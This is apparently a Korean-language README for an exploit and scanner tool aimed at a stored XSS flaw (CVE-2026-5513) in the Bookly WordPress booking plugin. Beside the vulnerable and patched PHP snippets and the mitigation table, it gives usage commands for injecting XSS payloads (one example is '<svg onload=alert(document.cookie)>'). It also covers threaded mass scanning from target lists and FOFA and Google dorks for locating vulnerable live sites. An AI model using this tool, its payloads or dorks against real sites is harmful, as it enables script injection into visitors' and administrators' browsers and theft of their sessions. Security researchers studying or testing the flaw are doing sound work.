
CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-5513 |
| 취약점 | 저장형 교차 사이트 스크립팅 (XSS) |
| 플러그인 | Bookly — 온라인 예약 및 약속 예약 시스템 |
| 영향받는 버전 | ≤ 27.2 |
| 패치된 버전 | 27.3+ |
| CVSS 3.1 | 7.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| 인증 필요 | 없음 |
| 전제 조건 | 쿠키에 개인 정보 저장 설정이 활성화되어 있어야 함 (기본적으로 비활성화됨) |
Bookly WordPress 플러그인은 27.2 이하 버전에서 bookly-customer-full-name 쿠키를 통해 저장형 교차 사이트 스크립팅(Stored Cross-Site Scripting) 에 취약합니다. 이는 부적절한 입력 검증 및 출력 이스케이프로 인해 발생합니다.
"쿠키에 개인 정보 저장" 설정이 활성화된 경우, 플러그인은 bookly-customer-full-name 쿠키 값을 읽어 적절한 이스케이프 없이 바로 예약 양식 HTML에 렌더링합니다. 인증되지 않은 공격자는 이 쿠키를 통해 임의의 JavaScript 페이로드를 주입할 수 있으며, 이는 모든 사용자(관리자 포함)가 Bookly 예약 양식이 포함된 페이지를 방문할 때 실행됩니다.
공격자 → 악성 쿠키 설정 (bookly-customer-full-name=<script>...</script>)
→ Bookly 예약 양식이 있는 페이지 방문
→ 플러그인이 쿠키를 읽고 이스케이프 없이 렌더링
→ XSS 페이로드가 피해자의 브라우저 컨텍스트에서 실행
// 취약 — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // 검증 없음
echo '<input type="text" value="' . $full_name . '" />'; // 이스케이프 없음
// 패치됨 — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ 자동 IP/도메인 프로빙 (HTTP/HTTPS, 일반 포트, 리디렉션 탐지)
✓ WordPress 및 Bookly 플러그인 탐지 및 버전 확인
✓ 쿠키 설정 탐지 (BooklyL10n JS 분석 + canary 반사)
✓ 다중 컨텍스트 XSS 테스트 (HTML, JavaScript, 속성 주입)
✓ 페이로드 주입 및 반사 확인
✓ 단일 대상 또는 파일에서 대량 스캔
✓ 멀티스레드 스캐닝 (최대 20개 스레드)
✓ 프록시 지원 (Burp 등)
✓ 취약한 결과 자동 저장
✓ 대화형 메뉴 + CLI 모드
pip install requests colorama
# 단일 대상 확인
python CVE-2026-5513.py -u https://target.com -v
# 단일 IP 확인 (자동 포트 프로빙 + 리디렉션)
python CVE-2026-5513.py -u 167.99.0.203 -v
# 확인 + XSS 페이로드 주입
python CVE-2026-5513.py -u https://target.com --inject -v
# 사용자 정의 XSS 페이로드
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# 파일에서 대량 스캔
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# Burp 프록시 사용
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
도구는 -u 또는 대상 목록 파일에서 다음 형식을 모두 허용합니다:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
IP만 입력된 경우 도구가 자동으로:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/ 등)STEP 0 → 대상 프로빙 (IP/도메인 → 기본 URL 확인, 리디렉션 탐지)
STEP 1 → Bookly 플러그인 탐지 (readme.txt, 플러그인 디렉터리, 에셋, 버전 확인)
STEP 2 → 쿠키 설정 확인 (BooklyL10n JS 분석 + canary 반사 테스트)
STEP 3 → XSS 반사 테스트 (HTML 컨텍스트, JS 컨텍스트, 속성 컨텍스트)
STEP 4 → 페이로드 주입 (--inject 모드인 경우 반사 확인)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| 우선순위 | 조치 |
|---|---|
| 🔴 | Bookly를 27.3+ 버전으로 업데이트 |
| 🟡 | Bookly 설정 → 일반에서 "쿠키에 개인 정보 저장" 비활성화 |
| 🟢 | 쿠키 값 내 XSS를 필터링하는 WAF 규칙 배포 |
| 🟢 | Content-Security-Policy (CSP) 헤더 구현 |
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
MIT
| 플래그 | 설명 |
|---|
-u URL | 단일 대상 (URL, 도메인 또는 IP) |
-l FILE | 대상 목록 파일 (한 줄에 하나) |
--inject | XSS 페이로드 주입 (기본값: 확인만) |
--payload STR | 사용자 정의 XSS 페이로드 |
-t N | 스레드 수 (기본값: 10, 최대: 20) |
--proxy URL | HTTP 프록시 (예: http://127.0.0.1:8080) |
-o FILE | 결과를 파일에 저장 |
-v | 자세한 출력 |